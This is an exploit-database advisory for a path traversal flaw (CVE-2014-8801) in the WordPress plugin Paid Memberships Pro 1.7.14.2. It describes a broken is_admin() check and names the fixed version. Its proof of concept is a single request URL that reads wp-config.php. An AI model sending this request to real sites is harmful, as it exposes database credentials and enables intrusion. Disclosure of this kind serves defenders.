# Exploit Title: Paid Memberships Pro 1.7.14.2 Path Traversal # Date: 14-10-2014 # Exploit Author: Kacper Szurek - http://security.szurek.pl # Software Link: https://downloads.wordpress.org/plugin/paid-memberships-pro.1.7.14.2.zip # Category: webapps # CVE: CVE-2014-8801 1. Description getfile.php is accessible to everyone. is_admin() is used to check priveleges but because this code is run in context of wp-admin/admin-ajax.php this function always evalute to true. $_SERVER['REQUEST_URI'] is not escaped. http://security.szurek.pl/paid-memberships-pro-17142-path-traversal.html 2. Proof of Concept http://wordpress-url/wp-admin/admin-ajax.php?action=getfile&/../../wp-config.php 3. Solution: Update to version 1.7.15 http://downloads.wordpress.org/plugin/paid-memberships-pro.1.7.15.zip http://www.paidmembershipspro.com/2014/11/critical-security-update-pmpro-v1-7-15/ References: http://security.szurek.pl/paid-memberships-pro-17142-path-traversal.html # Iranian Exploit DataBase = http://IeDb.Ir [2014-11-21]